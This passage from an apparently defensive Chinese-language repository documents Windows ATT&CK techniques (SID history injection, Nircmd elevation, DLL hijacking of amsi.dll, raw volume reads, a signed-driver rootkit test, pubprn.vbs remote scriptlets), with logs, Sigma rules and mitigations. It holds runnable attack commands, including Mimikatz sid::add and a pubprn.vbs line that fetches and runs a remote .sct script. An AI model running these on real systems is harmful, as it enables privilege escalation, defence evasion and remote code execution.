MITRE ATT&CK: T1134.001 https://attack.mitre.org/techniques/T1134/001/ - Runas命令详解: 如何使用Runas以管理员身份运行程序 https://walterlv.blog.csdn.net/article/details/89838982 - Windows安全日志分析: 事件ID 4688详解 https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4688 - Sigma规则开发: 基于Sigma的威胁检测规则编写 https://github.com/SigmaHQ/sigma ================================================ FILE: Windows/06权限提升/T1134.005-Win-SID历史记录注入.md ================================================ # T1134.005-Win-SID-History-Injection ## 描述 Windows安全标识符(SID)是用于标识用户或组账户的唯一值。Windows安全机制在安全描述符和访问令牌中使用SID。账户的SID历史记录(SID History)是Active Directory中的一个属性,可以保留其他SID,从而支持域之间的账户迁移可互操作性(例如,SID历史记录中的所有值都会包含在访问令牌中)。 攻击者可利用此机制进行特权提升。拥有域管理员(或等效权限)的攻击者可以将收集的或众所周知的SID值注入SID历史记录,以冒充任意用户或组(如企业管理员)。通过横向移动技术(如远程服务、Windows Admin共享或Windows远程管理),攻击者可能因此获得对本地资源或原本无法访问的域的访问权限。 ## 测试案例 测试工具可使用[Empire](https://attack.mitre.org/software/S0363)或[Mimikatz](https://attack.mitre.org/software/S0002)。 - **Empire**:在域控制器上,Empire可用于向用户账户添加SID历史记录。 - **Mimikatz**:其`MISC::AddSid`模块可以将任意SID或用户/组账户附加到目标用户的SID历史记录中。Mimikatz还利用SID历史记录注入扩展其他组件的功能,例如生成的Kerberos Golden Ticket或DCSync超出单个域的范围。 **注意**:在Mimikatz 2.1及以上版本中,`ADDSID`功能已移至`SID`模块。 示例命令(注入SID历史记录): ```dos mimikatz "privilege::debug" "sid::patch" "sid::add /new:administrator /sam:abcc" "exit" ``` 示例命令(清除SID历史记录): ```dos mimikatz "privilege::debug" "sid::patch" "sid::clear /sam:abcc" "exit" ``` ## 检测日志 - **Windows安全日志**:关注事件ID 4765和4766。 - **Event ID 4765**:成功将SID历史记录添加到账户时触发。 - **Event ID 4766**:尝试将SID历史记录添加到账户失败时触发。 **注意**:上述事件仅在Windows Server 2016及Windows 10及以上版本的域控制器上生成。 ## 测试复现 暂无具体复现实例,可参考以下Mimikatz命令进行测试: 1. **注入SID历史记录**: ```dos mimikatz "privilege::debug" "sid::patch" "sid::add /new:administrator /sam:abcc" "exit" ``` 2. **验证注入结果**: - 检查目标账户的SID历史记录是否包含新注入的SID(如Administrator的SID)。 - 尝试使用目标账户访问原本无权限的资源或域。 3. **清除注入的SID历史记录**(测试后清理): ```dos mimikatz "privilege::debug" "sid::patch" "sid::clear /sam:abcc" "exit" ``` **测试环境建议**: - 在隔离的测试域环境中进行,包含至少一台Windows Server 2016或以上版本的域控制器。 - 使用低权限账户作为目标账户,注入高权限SID(如企业管理员)进行验证。 ## 测试留痕 - **Windows安全日志**: - **Event ID 4765**:成功注入SID历史记录。 - **Event ID 4766**:SID历史记录注入失败。 - **网络流量**:如果通过横向移动技术(如远程服务或Windows Admin共享)访问资源,可能生成相关网络日志。 - **域控制器账户修改日志**:检查Active Directory中目标账户的SID历史记录属性变化。 **注意事项**: - 事件ID 4765和4766仅在Windows Server 2016及Windows 10以上版本的域控制器上生成。 - 早期版本的Windows Server可能无法记录此类事件,需依赖其他监控手段(如AD对象更改日志)。 ## 检测规则/思路 ### Sigma规则 ```yaml title: Windows SID历史记录创建域控权限后门 description: 检测域环境中通过SID历史记录注入创建权限后门的行为。 references: - https://adsecurity.org/?p=1772 status: experimental author: 12306Bro date: 2023/10/01 logsource: product: windows service: security detection: selection: EventID: - 4765 # 已将SID历史记录添加到帐户 - 4766 # 尝试将SID历史记录添加到帐户失败 condition: selection fields: - AccountName - SIDHistory falsepositives: - 合法的域账户迁移操作 - 管理员手动调整SID历史记录 level: medium ``` **适用范围**: - 仅适用于Windows Server 2016及Windows 10以上版本的域控制器。 - 检测规则基于事件ID 4765和4766,需确保域控制器日志记录启用。 ### 建议 1. **启用详细日志记录**: - 在域控制器上启用安全日志记录,确保捕获事件ID 4765和4766。 - 配置Active Directory审核策略,监控用户账户对象的属性更改(特别是SIDHistory属性)。 2. **监控SID历史记录变化**: - 定期检查高权限账户(如企业管理员、域管理员)的SID历史记录属性,识别异常注入。 - 使用PowerShell脚本或AD管理工具(如ADSI Edit)检查`SIDHistory`属性。 3. **限制域管理员权限**: - 实施最小权限原则,限制域管理员账户的使用,仅在必要时使用。 - 使用多因素认证(MFA)保护高权限账户。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)结合上述Sigma规则,实时监控SID历史记录相关事件。 - 设置告警规则,针对短时间内多次触发4765或4766的事件发出警告。 5. **测试规则有效性**: - 上述Sigma规则为实验性规则,未在真实环境中广泛验证。建议在测试环境中模拟SID历史记录注入,验证规则的准确性和误报率。 - 根据环境调整检测阈值,减少合法账户迁移操作导致的误报。 6. **定期审计域环境**: - 检查域控制器上的异常账户行为,特别是涉及高权限SID(如S-1-5-21-*-519)的注入。 - 定期审查横向移动相关的网络活动(如SMB、WinRM)。 ## 参考推荐 - MITRE ATT&CK: T1134.005 - 域渗透-域维权 - 如何利用SID History创建域控权限后门? - Active Directory SID History安全分析 - Mimikatz官方文档 ================================================ FILE: Windows/06权限提升/T1548.002-Win-使用Nircmd.exe进行权限提升.md ================================================ # T1548.002-Win-使用Nircmd.exe进行权限提升 ## 描述 攻击者可能通过滥用权限提升控制机制(如绕过用户账户控制,UAC)获得更高的系统权限。UAC是Windows的一项安全功能,旨在防止未经授权的更改,要求用户或管理员确认才能执行需要提升权限的操作。攻击者可以通过利用可信的工具或配置漏洞绕过UAC提示,直接以管理员权限运行命令或程序,从而实现权限提升。这种技术通常用于在受损系统上获取更高权限,便于执行恶意操作或持久化。 具体到本场景,攻击者使用NirSoft开发的`Nircmd.exe`工具,通过其`elevate`参数以管理员权限运行程序或命令。`Nircmd.exe`是一个多功能命令行工具,支持执行系统任务而无需显示用户界面,其`elevate`功能可能被滥用以绕过UAC提示,启动高权限进程。 ## 测试案例 ### 用例 - **权限提升**:使用`Nircmd.exe`以管理员权限运行命令行工具(如`cmd.exe`)或应用程序。 - **UAC绕过**:通过`elevate`参数启动进程,规避UAC提示(视系统配置而定)。 - **自动化脚本**:在批处理或脚本中结合`Nircmd.exe`,以高权限执行系统操作。 - **持久化**:通过计划任务或服务调用`Nircmd.exe`,确保恶意代码以管理员权限运行。 ### 示例场景 - 攻击者将`Nircmd.exe`部署到目标系统,运行`nircmd.exe elevate cmd.exe`以管理员身份打开命令提示符,执行特权操作。 - 在自动化攻击脚本中,使用`Nircmd.exe`以高权限启动恶意程序,绕过UAC。 ### 路径 - 相关工具路径: ```yml - C:\Users\\Desktop\nircmd-x64\nircmd.exe - C:\Windows\System32\cmd.exe ``` ### 所需权限 - 本地用户权限(运行`Nircmd.exe`)。 - 管理员权限(目标进程需要提升权限,可能触发UAC提示)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`Nircmd.exe`及其提升的目标进程(如`cmd.exe`)的创建。 - **事件ID 4672**:记录分配给新登录的安全特权(如管理员权限)。 ### Sysmon日志 - **事件ID 1**:捕获`Nircmd.exe`及其子进程(如`cmd.exe`)的创建,包含命令行参数(如`elevate`)。 - **事件ID 10**:记录`Nircmd.exe`对目标进程的访问,可能涉及权限提升。 ### 其他日志 - **UAC事件日志**:若未绕过UAC,可能记录用户确认提示的交互。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2016(UAC启用)。 - **权限**:本地用户权限(运行`Nircmd.exe`)。 - **工具**: - `Nircmd.exe`(从https://www.nirsoft.net/utils/nircmd-x64.zip下载)。 - Sysmon(监控进程活动)。 - Wireshark(可选,监控网络活动,若涉及远程下载)。 - **网络**:隔离网络环境,无需特定端口。 - **日志**:启用Windows安全日志(事件ID 4688)、Sysmon日志。 - **UAC配置**: - 确保UAC启用(默认设置): ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" ``` ### 攻击步骤 1. **部署Nircmd.exe**: - 将`Nircmd.exe`复制到靶机(如`C:\Users\jackma\Desktop\nircmd-x64\`)。 2. **执行权限提升**: ```cmd C:\Users\jackma\Desktop\nircmd-x64\nircmd.exe elevate C:\Windows\System32\cmd.exe ``` - 若UAC提示出现,点击“确认”以管理员身份启动`cmd.exe`。 3. **验证结果**: - 检查`cmd.exe`是否以管理员权限运行: ```cmd whoami /priv ``` - 验证Windows安全日志,确认事件ID 4688记录`Nircmd.exe`和`cmd.exe`的进程创建。 - 检查Sysmon日志,捕获`elevate`命令行参数。 4. **清理**: - 删除`Nircmd.exe`: ```cmd del C:\Users\jackma\Desktop\nircmd-x64\nircmd.exe ``` ## 测试留痕 以下为Windows安全日志示例(事件ID 4688,进程创建): ```yml EventID: 4688 TimeCreated: 2025-06-08T05:25:23.456Z Channel: Security Hostname: MAJACK2F2D SubjectUserSid: S-1-5-18 SubjectUserName: MAJACK2F2D$ SubjectDomainName: ABD SubjectLogonId: 0x3e7 NewProcessId: 0x1b4c NewProcessName: C:\Windows\System32\cmd.exe TokenElevationType: %%1937 ProcessId: 0x39a8 CommandLine: "C:\Windows\System32\cmd.exe" TargetUserSid: S-1-5-21-1383307475-1342307136-805210941-1000 TargetUserName: jackma TargetDomainName: ABD TargetLogonId: 0x17a295 ParentProcessName: C:\Users\jackma\Desktop\nircmd-x64\nircmd.exe MandatoryLabel: S-1-16-12288 ``` 以下为Sysmon日志示例(事件ID 1,进程创建): ```yml EventID: 1 UtcTime: 2025-06-08T05:25:23.789Z ProcessGuid: {a1b2c3d4-5678-61df-9e01-000000000900} ProcessId: 6988 Image: C:\Windows\System32\cmd.exe CommandLine: "C:\Windows\System32\cmd.exe" ParentProcessId: 14728 ParentImage: C:\Users\jackma\Desktop\nircmd-x64\nircmd.exe ParentCommandLine: nircmd.exe elevate C:\Windows\System32\cmd.exe User: ABD\jackma IntegrityLevel: High Hashes: SHA1=6E7F8A9B0C1D2E3F4A5B6C7D8E9F0A1B ``` ## 检测方法/思路 ### Sigma规则 ```yml title: Suspicious Nircmd.exe Privilege Escalation id: d9e0f1c2-3a4b-5c6d-7e8f-9a0b1c2d3e4f status: experimental description: Detects use of Nircmd.exe with elevate parameter for privilege escalation references: - https://attack.mitre.org/techniques/T1548/002 - https://www.nirsoft.net/utils/nircmd.html logsource: product: windows category: process_creation detection: selection: EventID: 1 ParentImage|endswith: '\nircmd.exe' CommandLine|contains: 'elevate' condition: selection falsepositives: - Legitimate use of Nircmd.exe by administrators - Automated scripts in IT environments level: medium ``` ### 检测思路 1. **进程监控**: - 检测`Nircmd.exe`进程创建,关注命令行参数包含`elevate`。 - 监控`Nircmd.exe`的子进程(如`cmd.exe`、`net.exe`),检查是否以高权限运行。 2. **父子进程关系**: - 检查`Nircmd.exe`作为父进程启动的异常进程(如`powershell.exe`)。 3. **文件监控**: - 检测`Nircmd.exe`的异常部署路径(如`C:\Users\`而非系统目录)。 4. **行为基线**: - 建立组织内`Nircmd.exe`的正常使用模式,识别异常操作(如非IT用户运行)。 5. **UAC交互监控**: - 若未绕过UAC,检测用户确认提示的日志或行为。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控进程创建(事件ID 1)和命令行参数。 - **日志配置**:启用Windows安全日志的进程创建审核(事件ID 4688)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测`Nircmd.exe`的异常行为。 - **误报过滤**:排除合法IT脚本或管理员操作,结合上下文(如用户、路径)降低误报率。 ## 缓解措施 1. **UAC强化**: - 确保UAC启用并设置为最高级别: ```powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 2 ``` 2. **应用白名单**: - 使用AppLocker或WDAC限制`Nircmd.exe`的执行,仅允许受信任路径。 ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Program Files\*" -User Everyone -Action Allow ``` 3. **凭据保护**: - 限制非管理员账户的UAC提升权限。 - 启用多因素认证(MFA)保护管理员账户。 4. **文件监控**: - 监控`Nircmd.exe`的下载或非标准路径部署。 5. **监控与告警**: - 配置SIEM实时告警`Nircmd.exe`的`elevate`使用。 - 部署IDS/IPS,检测异常进程行为。 ## 参考推荐 - MITRE ATT&CK T1548.002 https://attack.mitre.org/techniques/T1548/002 - Nircmd主页 https://www.nirsoft.net/utils/nircmd.html - Nircmd 64位下载 http://www.nirsoft.net/utils/nircmd-x64.zip ================================================ FILE: Windows/06权限提升/T1574.001-Win-劫持执行流程-DLL搜索顺序劫持.md ================================================ # T1574.001-Win-劫持执行流程-DLL搜索顺序劫持 ## 来自ATT&CK的描述 攻击者可通过劫持Windows用于加载DLL的搜索顺序来执行恶意负载。Windows系统采用标准方法查找程序所需的DLL文件。劫持DLL加载可用于实现持久化、特权提升或绕过文件执行限制。 攻击者可通过以下方式劫持DLL加载: 1. **放置恶意DLL**:将特洛伊木马DLL放置在优先于合法DLL的搜索路径中,导致Windows加载恶意DLL。 2. **DLL预加载(二进制植入)**:将恶意DLL放置在合法DLL搜索路径之前的目录中,并与模糊指定的DLL同名。通常,程序的当前工作目录是高优先级位置。 3. **远程DLL预加载**:当程序将当前工作目录设置为远程位置(如Web共享)时,加载远程恶意DLL。 4. **修改加载方式**:通过替换现有DLL、修改`.manifest`或`.local`重定向文件、目录或联结,直接改变程序的DLL加载行为。 如果被劫持的程序以高特权级别(如管理员或SYSTEM)运行,恶意DLL也将以相同权限执行,从而实现特权提升。由于恶意DLL可能同时加载合法DLL,受影响的程序可能表现正常,增加检测难度。 ## 测试案例 ### 测试1:DLL Search Order Hijacking - amsi.dll 攻击者可利用PowerShell不安全的DLL加载机制,加载脆弱版本的`amsi.dll`,以绕过反恶意软件扫描接口(AMSI)。参考: **攻击效果**:`powershell.exe`被复制并重命名为`updater.exe`,并从非标准路径加载`amsi.dll`。 **攻击命令**(需以管理员权限运行): ```batch copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll %APPDATA%\updater.exe -Command exit ``` **清理命令**: ```batch del %APPDATA%\updater.exe >nul 2>&1 del %APPDATA%\amsi.dll >nul 2>&1 ``` ## 检测日志 - **Windows Sysmon日志**:捕获进程加载的DLL相关事件(Event ID 7)。 - **Windows安全日志**:监控文件创建、修改或删除事件(需启用相应审核策略)。 ## 测试复现 ### 测试1:DLL Search Order Hijacking - amsi.dll 以下为测试复现过程,基于Windows 10环境: ```cmd Microsoft Windows [版本 10.0.17763.973] (c) 2018 Microsoft Corporation。保留所有权利。 C:\Users\Administrator.ZHULI>copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe 已复制 1 个文件。 C:\Users\Administrator.ZHULI>copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll 已复制 1 个文件。 C:\Users\Administrator.ZHULI>%APPDATA%\updater.exe -Command exit C:\Users\Administrator.ZHULI>del %APPDATA%\updater.exe >nul 2>&1 C:\Users\Administrator.ZHULI>del %APPDATA%\amsi.dll >nul 2>&1 C:\Users\Administrator.ZHULI> ``` **说明**: - 上述命令模拟了将`powershell.exe`和`amsi.dll`复制到用户目录(`%APPDATA%`),并以非标准路径运行`updater.exe`,触发DLL搜索顺序劫持。 - 清理命令确保测试环境恢复原状。 ## 测试留痕 ### 测试1:DLL Search Order Hijacking - amsi.dll **Windows Sysmon日志**(Event ID 7): ```xml Event ID: 7 Image loaded: RuleName: technique_id=T1059.001,technique_name=PowerShell UtcTime: 2022-01-13 08:49:39.694 ProcessGuid: {78c84c47-e7a3-61df-9a02-000000000900} ProcessId: 1044 Image: C:\Users\Administrator.ZHULI\AppData\Roaming\updater.exe ImageLoaded: C:\Users\Administrator.ZHULI\AppData\Roaming\amsi.dll FileVersion: 10.0.17763.1 (WinBuild.160101.0800) Description: Anti-Malware Scan Interface Product: Microsoft® Operating System Company: Microsoft Corporation OriginalFileName: amsi.dll Hashes: SHA1=B7B7398DB0EDCE2C39A964096B009F60C544DC29,MD5=21EAA9941DB9CA4B41A5FFCBFE4CA9A5,SHA256=F675D2A8686A7CFD7A7056AC490E159A17D6B728420CF15C4EE26C670437370A,IMPHASH=11E9179F7B8A676A1110DA8E334D75BE Signed: true Signature: Microsoft Windows SignatureStatus: Valid User: ZHULI\Administrator ``` **留痕分析**: - 事件显示`updater.exe`加载了非标准路径(`%APPDATA%`)下的`amsi.dll`,表明DLL搜索顺序被劫持。 - 攻击者可能替换`amsi.dll`为恶意版本,Sysmon日志可捕获异常路径的DLL加载行为。 ## 检测规则/思路 ### Sigma规则 ```yaml title: Suspicious DLL Search Order Hijacking description: Detects potential DLL search order hijacking by monitoring processes loading DLLs from non-standard or user-writable directories. author: xAI Security Team date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1574/001/ logsource: product: windows service: sysmon detection: selection: EventID: 7 ImageLoaded|contains: - '\AppData\' - '\Temp\' - '\Users\' ImageLoaded|endswith: '.dll' filter: ImageLoaded|contains: - '\Windows\System32\' - '\Windows\SysWOW64\' - '\Program Files\' - '\Program Files (x86)\' condition: selection and not filter fields: - Image - ImageLoaded - User falsepositives: - Legitimate applications loading DLLs from user directories - Software updates or installations level: medium ``` **规则说明**: - 检测从用户可写目录(如`%APPDATA%`、`%TEMP%`)加载DLL的行为,同时排除标准系统路径(如`System32`、`Program Files`)。 - 需结合环境测试,调整`falsepositives`以减少误报。 ### 建议 1. **监控文件系统活动**: - 使用Sysmon或类似工具监控DLL文件的创建、移动、重命名或替换行为。 - 关注与已知软件更新或补丁无关的DLL修改。 2. **检测异常DLL加载**: - 监控进程加载的DLL,检测文件名相同但路径异常的情况(如`%APPDATA%\amsi.dll`)。 - 检查`.manifest`或`.local`重定向文件的创建或修改。 3. **限制DLL加载路径**: - 配置应用程序使用安全的DLL搜索顺序(如启用SafeDllSearchMode)。 - 使用Windows AppLocker或类似工具限制未签名的DLL加载。 4. **启用详细日志**: - 配置Sysmon记录Event ID 7(模块加载),确保捕获所有DLL加载事件。 - 启用Windows文件审核策略,监控用户目录中的DLL文件操作。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)结合Sigma规则,实时分析Sysmon日志。 - 设置告警规则,针对非标准路径的DLL加载行为发出警告。 6. **定期审计高特权进程**: - 检查以管理员或SYSTEM权限运行的进程,验证其加载的DLL路径是否可信。 - 使用工具(如Process Explorer)分析进程的DLL依赖关系。 ## 参考推荐 - MITRE ATT&CK: T1574.001 - Atomic Red Team T1574.001 - Bypassing AMSI via COM Server Hijacking - Microsoft DLL Search Order Documentation ================================================ FILE: Windows/07逃避防御/T1006-win-直接访问卷.md ================================================ # T1006-Win-直接访问卷 ## 描述 攻击者可以通过直接访问逻辑卷来绕过文件访问控制和文件系统监控工具。Windows允许程序以直接方式访问逻辑卷,拥有直接访问权限的程序可以通过解析文件系统的数据结构,直接从驱动器中读写文件。这种技术能够绕过Windows的文件访问控制机制以及文件系统监控工具。 例如,诸如`NinjaCopy`之类的工具可以在PowerShell中实现此类操作,通过直接访问卷来复制文件,而无需通过标准文件系统API。 ## 测试案例 ### 测试1:通过PowerShell读取卷引导扇区 此测试利用PowerShell通过DOS设备路径直接访问卷,读取卷的前几个字节。成功执行后,将显示卷前11个字节的十六进制转储。对于NTFS卷,其输出应符合NTFS分区引导扇区的结构: ```yaml 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 EB 52 90 4E 54 46 53 20 20 20 20 ëRNTFS ``` **攻击命令**(需以管理员权限在PowerShell中运行): ```powershell $buffer = New-Object byte[] 11 $handle = New-Object IO.FileStream "\\.\C:", 'Open', 'Read', 'ReadWrite' $handle.Read($buffer, 0, $buffer.Length) $handle.Close() Format-Hex -InputObject $buffer ``` ## 检测日志 暂无。本地复现测试表明,Windows安全日志、PowerShell操作日志以及Sysmon日志均未记录该命令的执行情况。 ## 测试复现 ### 测试1:通过DOS设备路径读取卷引导扇区(PowerShell) 以下为在Windows 10环境中的复现过程: ```powershell PS C:\Windows\system32> $buffer = New-Object byte[] 11 PS C:\Windows\system32> $handle = New-Object IO.FileStream "\\.\C:", 'Open', 'Read', 'ReadWrite' PS C:\Windows\system32> $handle.Read($buffer, 0, $buffer.Length) 11 PS C:\Windows\system32> $handle.Close() PS C:\Windows\system32> Format-Hex -InputObject $buffer 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 EB 52 90 4E 54 46 53 20 20 20 20 ëRNTFS PS C:\Windows\system32> ``` **说明**: - 上述命令通过PowerShell直接访问C:卷的引导扇区,读取前11个字节并以十六进制格式输出。 - 输出结果符合NTFS卷的引导扇区结构,证明命令执行成功。 ## 日志留痕 暂无。本地测试未在Windows安全日志、PowerShell日志或Sysmon日志中发现相关记录。 ## 检测规则/思路 ### 建议 1. **监控卷访问行为**: - 监控进程打开逻辑驱动器卷的行为,识别直接访问逻辑驱动器的异常操作。 - 使用Sysmon配置,记录进程打开的句柄(Event ID 9),关注访问`\\.\`设备的句柄。 2. **监控命令行参数**: - 检查PowerShell或其他进程的命令行参数,检测类似`\\.\`路径的访问行为。 - 关注涉及直接卷访问的异常PowerShell脚本执行。 3. **增强PowerShell日志记录**: - 启用PowerShell模块日志记录(Module Logging)、脚本块日志记录(Script Block Logging)以及转录日志(Transcription Logging)。 - 监控PowerShell中`IO.FileStream`或类似API的调用。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)收集和分析Sysmon日志,检测异常的卷访问行为。 - 设置告警规则,针对非标准进程(如PowerShell)访问`\\.\`设备的操作。 5. **限制直接卷访问**: - 使用组策略限制非管理员账户对逻辑卷的直接访问。 - 部署应用程序白名单(如AppLocker),限制未授权程序执行卷访问操作。 6. **测试与验证**: - 在测试环境中复现直接卷访问行为,验证检测规则的有效性。 - 根据环境调整规则阈值,减少误报。 ## 参考推荐 - MITRE ATT&CK T1006 - Atomic Red Team T1006 ================================================ FILE: Windows/07逃避防御/T1014-win-Rootkit.md ================================================ # T1014-Win-Rootkit ## 描述 攻击者可能利用rootkit隐藏程序、文件、网络连接、服务、驱动程序及其他系统组件的存在。Rootkit通过拦截、钩挂和修改操作系统API调用来隐藏恶意软件的存在,从而规避系统信息的正常报告。Rootkit可能运行于操作系统的用户层或内核层,甚至更低层次,如管理程序、主引导记录(MBR)或系统固件。在Windows、Linux和Mac OS X系统中均已发现rootkit的踪迹。 ## 测试案例 ### 测试1:Windows签名驱动程序Rootkit测试 此测试利用已签名的驱动程序(如`capcom.sys`)在内核中执行代码,模拟rootkit行为以隐藏进程。测试工具为`puppetstrings.exe`,结合易受攻击的签名驱动程序`capcom.sys`(SHA1: C1D5CF8C43E7679B782630E93F5E6420CA1749A7)。PoC漏洞利用程序的哈希值为SHA1: DD8DA630C00953B6D5182AA66AF999B1E117F441。 **攻击命令**(需以管理员权限在命令提示符中运行): ```batch #{puppetstrings_path} #{driver_path} ``` - `driver_path`: `C:\Drivers\driver.sys` - `puppetstrings_path`: `PathToAtomicsFolder\T1014\bin\puppetstrings.exe` **依赖性检查**(使用PowerShell运行): ```powershell if (Test-Path #{puppetstrings_path}) {exit 0} else {exit 1} ``` **获取依赖性**(使用PowerShell下载`puppetstrings.exe`): ```powershell Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1014/bin/puppetstrings.exe" -OutFile "#{puppetstrings_path}" ``` ## 检测日志 本地复现测试表明,Windows安全日志、PowerShell操作日志未记录相关行为,但Sysmon日志可捕获部分活动(详见“日志留痕”)。 ## 测试复现 ### 测试1:Windows签名驱动程序Rootkit测试 以下为在Windows Server 2019环境中的复现尝试: ```powershell PS C:\Windows\system32> C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1014\bin\puppetstrings.exe C:\Drivers\driver.sys Look for process in tasklist.exe 请按任意键继续. . . puppetstrings failed - error: 00000003 请按任意键继续. . . ``` **复现结果**: - 测试未成功,错误代码`00000003`可能表明驱动程序加载失败或环境配置问题。 - 建议在测试环境中验证`capcom.sys`驱动的兼容性,并确保驱动文件存在于指定路径。 ## 日志留痕 ### Sysmon日志(Event ID 1:进程创建) 以下为Sysmon记录的`puppetstrings.exe`执行行为: ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2022/1/10 14:58:52 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 关键字: 用户: SYSTEM 计算机: zhuli.qax.com 描述: Process Create: RuleName: technique_id=T1086,technique_name=PowerShell UtcTime: 2022-01-10 06:58:52.494 ProcessGuid: {78c84c47-d92c-61db-450c-000000000800} ProcessId: 7608 Image: C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1014\bin\puppetstrings.exe FileVersion: - Description: - Product: - Company: - OriginalFileName: - CommandLine: "C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1014\bin\puppetstrings.exe" C:\Drivers\driver.sys CurrentDirectory: C:\Windows\system32\ User: QAX\Administrator LogonGuid: {78c84c47-d270-61db-d56a-010100000000} LogonId: 0x1016AD5 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=DD8DA630C00953B6D5182AA66AF999B1E117F441,MD5=676ED2C5D31006FC4CBC1B0E0D564F4F,SHA256=1184228AC822F0F8C7C8242325052F91B500AD7C08E4A9B266211E8E623CAE8E,IMPHASH=1B1B5BBC1BB70593CD761304457481AC ParentProcessGuid: {78c84c47-d270-61db-4a0b-000000000800} ParentProcessId: 4560 ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ParentUser: QAX\Administrator ``` **分析**: - Sysmon记录了`puppetstrings.exe`的进程创建事件,包括命令行参数和文件哈希。 - 未记录驱动程序加载或内核级操作的详细行为,可能需额外配置Sysmon或使用其他工具(如驱动监控)。 ## 检测规则/思路 ### Sigma规则 ```yaml title: Suspicious Signed Driver Rootkit Activity description: Detects execution of processes associated with signed driver rootkits, such as those using puppetstrings.exe or similar tools. references: - https://attack.mitre.org/techniques/T1014/ logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\puppetstrings.exe' condition: selection fields: - Image - CommandLine - User - Hashes falsepositives: - Legitimate use of signed drivers for system maintenance level: high ``` **规则说明**: - 检测运行`puppetstrings.exe`的进程创建事件,可能指示rootkit相关活动。 - 需结合环境测试,调整误报过滤条件(如排除合法驱动程序维护工具)。 ### 建议 1. **部署反rootkit工具**: - 使用专用rootkit检测工具(如GMER、RootkitRevealer)扫描系统,识别异常的内核模块或API钩子。 - 定期运行反病毒软件,检查是否存在已知rootkit行为。 2. **监控驱动程序加载**: - 配置Sysmon记录驱动程序加载事件(Event ID 6),关注非标准路径或未签名驱动的加载。 - 使用Windows事件日志监控`Microsoft-Windows-Kernel-PnP`通道,检测新驱动安装。 3. **检查系统完整性**: - 定期验证主引导记录(MBR)、系统固件和内核模块的完整性。 - 监控未识别的DLL、设备或服务的注册行为。 4. **增强Sysmon配置**: - 启用Sysmon的驱动程序加载(Event ID 6)和模块加载(Event ID 7)记录。 - 关注高权限进程(如SYSTEM或Administrator)加载的异常驱动或模块。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析Sysmon和内核事件日志,检测rootkit相关行为。 - 设置告警规则,针对非标准驱动加载或`puppetstrings.exe`等工具的执行。 6. **限制驱动程序安装**: - 使用组策略限制非管理员账户安装驱动程序。 - 启用Windows驱动签名验证,防止加载未签名驱动。 ## 参考推荐 - MITRE ATT&CK T1014 - Atomic Red Team T1014 - Fuzzy Security Rootkit Tutorial - Puppet Strings Rootkit PoC ================================================ FILE: Windows/07逃避防御/T1027-win-使用pubprn.vbs下载文件(白名单) .md ================================================ # T1027-Win-使用pubprn.vbs下载执行Payload(白名单) ## 描述 攻击者可能利用合法的、由微软签名的软件开发工具或脚本执行恶意代码,以绕过应用白名单防御机制。这些工具通常具有可信证书签名,允许在系统中以合法身份运行。`pubprn.vbs`是Windows 7及以上版本中自带的微软签名Windows Script Host(WSH)脚本,位于`C:\Windows\System32\Printing_Admin_Scripts\zh-CN\`,可被滥用来解析和执行恶意`.sct`(COM脚本)文件,从而下载并执行远程Payload,规避基于签名的检测。 ## 测试案例 ### 测试1:使用pubprn.vbs执行远程.sct脚本 攻击者通过`pubprn.vbs`调用远程`.sct`脚本,触发恶意代码执行。以下为测试命令: **攻击命令**(在命令提示符或PowerShell中运行): ```cmd "C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct ``` **说明**: - `pubprn.vbs`通过`wscript.exe`执行,解析指定的`.sct`脚本。 - 命令中的`127.0.0.1`为占位参数,实际功能由`script:`指定的远程脚本实现。 - 测试使用的`.sct`脚本可能包含恶意代码,需在隔离环境中运行。 ## 检测日志 - **Windows安全日志**:通过Event ID 4688(进程创建)记录`wscript.exe`执行`pubprn.vbs`的行为(需启用进程跟踪审核)。 - **Sysmon日志**:通过Event ID 1(进程创建)捕获详细的命令行参数和父进程信息。 ## 测试复现 ### 测试1:使用pubprn.vbs执行远程.sct脚本 在Windows 10环境中复现,需开启进程创建审核策略: ```cmd Microsoft Windows [版本 10.0.10240] (c) 2015 Microsoft Corporation. All rights reserved. C:\Users\ma 